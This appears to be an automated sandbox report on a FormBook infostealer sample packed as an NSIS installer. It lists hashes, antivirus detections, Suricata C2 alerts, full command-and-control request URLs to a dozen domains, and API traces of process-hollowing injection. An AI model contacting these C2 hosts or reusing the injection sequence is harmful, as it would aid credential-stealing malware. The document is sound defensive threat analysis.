popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

fm.exe

NSIS Malicious Library PE32 PE File DLL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Oct. 11, 2021, 9:53 a.m. Oct. 11, 2021, 9:59 a.m.
Size 254.7KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 f3cfacb645a896421d6f9083897e8887
SHA256 1960c78dcdbb4d893abeaf5220fc7a9c53ec0aa43389aa75146d7af4ce5707f1
CRC32 59DD7B2A
ssdeep 6144:F8LxBsUEl4908Xhq7BJMMuvtr+3Iv5d5TJgYZIm4u+PvulK:/cGEklJCvtiI5TsnulK
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • NSIS_Installer - Null Soft Installer

Name Response Post-Analysis Lookup
www.beauallenpoetry.com
A 74.208.236.174
74.208.236.174
www.groupninemed.com
A 184.168.131.241
CNAME groupninemed.com
184.168.131.241
www.bonairemarathon.com
A 185.87.187.145
185.87.187.145
www.number-is-04.net
A 183.181.96.123
183.181.96.123
www.simulatefuck.com
A 139.59.228.134
CNAME simulatefuck.com
139.59.228.134
www.llcmastermachine.com
A 107.161.23.204
A 198.251.84.92
A 70.39.125.244
A 45.58.190.82
A 188.164.131.200
A 64.32.22.102
A 198.251.81.30
A 204.188.203.155
A 209.141.38.71
A 192.161.187.200
CNAME parking.namesilo.com
A 168.235.88.209
45.58.190.82
www.aegnoshipping.com
www.mglracing.com
www.ranbix.com
A 199.193.6.162
199.193.6.162
www.nongminle.net
www.wkshops22012.xyz
A 184.168.96.164
CNAME wkshops22012.xyz
184.168.96.164
www.paddlercentral.com
A 198.54.117.218
A 198.54.117.216
A 198.54.117.217
CNAME parkingpage.namecheap.com
A 198.54.117.215
A 198.54.117.212
A 198.54.117.210
A 198.54.117.211
198.54.117.210
www.auth-appsgo.com
www.headlinebysmp.com
CNAME target.clickfunnels.com
A 104.16.15.194
A 104.16.16.194
A 104.16.12.194
A 104.16.13.194
A 104.16.14.194
104.16.15.194
www.mariadimitropoulou.com
A 198.54.117.218
A 198.54.117.216
A 198.54.117.217
CNAME parkingpage.namecheap.com
A 198.54.117.215
A 198.54.117.212
A 198.54.117.210
A 198.54.117.211
198.54.117.210
IP Address Status Action
104.16.14.194 Active Moloch
139.59.228.134 Active Moloch
164.124.101.2 Active Moloch
183.181.96.123 Active Moloch
184.168.131.241 Active Moloch
184.168.96.164 Active Moloch
185.87.187.145 Active Moloch
198.54.117.211 Active Moloch
198.54.117.215 Active Moloch
199.193.6.162 Active Moloch
64.32.22.102 Active Moloch
74.208.236.174 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49166 -> 199.193.6.162:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 104.16.14.194:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 64.32.22.102:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 199.193.6.162:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 104.16.14.194:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 199.193.6.162:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 104.16.14.194:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 64.32.22.102:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 64.32.22.102:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49171 -> 184.168.131.241:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49171 -> 184.168.131.241:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49171 -> 184.168.131.241:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 184.168.96.164:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 184.168.96.164:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 184.168.96.164:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 184.168.96.164:80 2031088 ET HUNTING Request to .XYZ Domain with Minimal Headers Potentially Bad Traffic
TCP 192.168.56.102:49176 -> 139.59.228.134:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49176 -> 139.59.228.134:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49176 -> 139.59.228.134:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 74.208.236.174:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 74.208.236.174:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 74.208.236.174:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49175 -> 183.181.96.123:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49175 -> 183.181.96.123:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49175 -> 183.181.96.123:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 198.54.117.215:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 198.54.117.215:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 198.54.117.215:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49174 -> 185.87.187.145:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49174 -> 185.87.187.145:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49174 -> 185.87.187.145:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49172 -> 198.54.117.211:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49172 -> 198.54.117.211:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49172 -> 198.54.117.211:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.ranbix.com/noha/?NvWHJt=WqlLRyxmklHBR9bvDjAAjeD09IEXqdmYERcw+cExScONqRgH/+tJNETkvgWEj3p7qMAbvI1j&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.headlinebysmp.com/noha/?NvWHJt=ozWyOMXinaZwMUakYGHIPoMs5gZF5fcGvcEi2jjLRr0L8mOJllSpWkT4nhlbZ81Fu5Rkb7br&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.llcmastermachine.com/noha/?NvWHJt=Cr7+FRPE36fJRNF+5kkCw9g1tnWsfV4otLCv7DCNGJQx9ElyDO+ayRlzaO2NWarxkvHU10eu&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.paddlercentral.com/noha/?NvWHJt=BflZB6OqREwGJlb9Sk842/jtcaZ5fuiyOju/J2yjGs5y9yumeUh4rkZlJ2CmfPQeRsVHYWsh&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.beauallenpoetry.com/noha/?NvWHJt=ceDwew5ozM+2tYIKmX5bctY7wq875Ed5vvDz8Yv10Jsktdi2pfgBVa05BRpFzyVFYnPslpoC&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.groupninemed.com/noha/?NvWHJt=lvCRxprni/Iu4Xb0cYxnjQze0QPiFV0jDZ7jTVQcDsojxzhXqwn2iFqK753LFqKksQztMSnr&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.mariadimitropoulou.com/noha/?NvWHJt=OpI7f+0Km3uF8QErh96y4UfCxqU+B78KM7iZg5orCNy4mHyPM1oOkE97tDp7RXQr0WnW8/Q8&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.wkshops22012.xyz/noha/?NvWHJt=RebRg6mjS38HnQVFXuKaHIu5RFW1uZmRgUuld07QvOTPlsbmEhTTyuxWH3TxPNjfgX4h79Nk&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.bonairemarathon.com/noha/?NvWHJt=CfFhcsmBnCLlkKf5ffInGLMZzIhhwlCqJPdqaYx0k1orYL70EHpmKvFIXv9rltq9xHJc66O3&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.number-is-04.net/noha/?NvWHJt=533EpRLMvdGd3LnMjF6P5H4aqTXvZDN7WJAPd7m9vKZsB2Z3JtcedJpU+7lZs6mIB3YhcvB0&1bj=jlK0MhVxt
suspicious_features GET method with no useragent header suspicious_request GET http://www.simulatefuck.com/noha/?NvWHJt=3UR2uIfPulFdGcNwCm68yvPjTylt7u4HFjdICGqlfciJpq0vRWhT4BZscjCcYF3P85gFX7PT&1bj=jlK0MhVxt
request GET http://www.ranbix.com/noha/?NvWHJt=WqlLRyxmklHBR9bvDjAAjeD09IEXqdmYERcw+cExScONqRgH/+tJNETkvgWEj3p7qMAbvI1j&1bj=jlK0MhVxt
request GET http://www.headlinebysmp.com/noha/?NvWHJt=ozWyOMXinaZwMUakYGHIPoMs5gZF5fcGvcEi2jjLRr0L8mOJllSpWkT4nhlbZ81Fu5Rkb7br&1bj=jlK0MhVxt
request GET http://www.llcmastermachine.com/noha/?NvWHJt=Cr7+FRPE36fJRNF+5kkCw9g1tnWsfV4otLCv7DCNGJQx9ElyDO+ayRlzaO2NWarxkvHU10eu&1bj=jlK0MhVxt
request GET http://www.paddlercentral.com/noha/?NvWHJt=BflZB6OqREwGJlb9Sk842/jtcaZ5fuiyOju/J2yjGs5y9yumeUh4rkZlJ2CmfPQeRsVHYWsh&1bj=jlK0MhVxt
request GET http://www.beauallenpoetry.com/noha/?NvWHJt=ceDwew5ozM+2tYIKmX5bctY7wq875Ed5vvDz8Yv10Jsktdi2pfgBVa05BRpFzyVFYnPslpoC&1bj=jlK0MhVxt
request GET http://www.groupninemed.com/noha/?NvWHJt=lvCRxprni/Iu4Xb0cYxnjQze0QPiFV0jDZ7jTVQcDsojxzhXqwn2iFqK753LFqKksQztMSnr&1bj=jlK0MhVxt
request GET http://www.mariadimitropoulou.com/noha/?NvWHJt=OpI7f+0Km3uF8QErh96y4UfCxqU+B78KM7iZg5orCNy4mHyPM1oOkE97tDp7RXQr0WnW8/Q8&1bj=jlK0MhVxt
request GET http://www.wkshops22012.xyz/noha/?NvWHJt=RebRg6mjS38HnQVFXuKaHIu5RFW1uZmRgUuld07QvOTPlsbmEhTTyuxWH3TxPNjfgX4h79Nk&1bj=jlK0MhVxt
request GET http://www.bonairemarathon.com/noha/?NvWHJt=CfFhcsmBnCLlkKf5ffInGLMZzIhhwlCqJPdqaYx0k1orYL70EHpmKvFIXv9rltq9xHJc66O3&1bj=jlK0MhVxt
request GET http://www.number-is-04.net/noha/?NvWHJt=533EpRLMvdGd3LnMjF6P5H4aqTXvZDN7WJAPd7m9vKZsB2Z3JtcedJpU+7lZs6mIB3YhcvB0&1bj=jlK0MhVxt
request GET http://www.simulatefuck.com/noha/?NvWHJt=3UR2uIfPulFdGcNwCm68yvPjTylt7u4HFjdICGqlfciJpq0vRWhT4BZscjCcYF3P85gFX7PT&1bj=jlK0MhVxt
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1428
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73542000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1220
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009f0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsa7C7D.tmp\rgcbbudham.dll
file C:\Users\test22\AppData\Local\Temp\nsa7C7D.tmp\rgcbbudham.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1220
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000234
1 0 0
Process injection Process 1428 called NtSetContextThread to modify thread in remote process 1220
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2007957956
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314256
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000001f0
process_identifier: 1220
1 0 0
Bkav W32.AIDetect.malware2
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.NSISX.Spy.Gen.2
FireEye Generic.mg.f3cfacb645a89642
Cylance Unsafe
BitDefender Trojan.NSISX.Spy.Gen.2
Cybereason malicious.645a89
Arcabit Trojan.NSISX.Spy.Gen.2
Symantec ML.Attribute.HighConfidence
APEX Malicious
Paloalto generic.ml
Kaspersky UDS:DangerousObject.Multi.Generic
Emsisoft Trojan.NSISX.Spy.Gen.2 (B)
McAfee-GW-Edition BehavesLike.Win32.AdwareDotDo.dc
Sophos Generic ML PUA (PUA)
SentinelOne Static AI - Malicious PE
Microsoft Trojan:Win32/Tnega!ml
GData Zum.Androm.1
Cynet Malicious (score: 100)
MAX malware (ai score=86)
Ikarus Trojan.NSIS.Agent
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2524
thread_handle: 0x000001f0
process_identifier: 1220
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\fm.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\fm.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\fm.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000234
1 1 0

NtGetContextThread

 thread_handle: 0x000001f0
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1220
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000234
1 0 0

NtSetContextThread

 registers.eip: 2007957956
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314256
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000001f0
process_identifier: 1220
1 0 0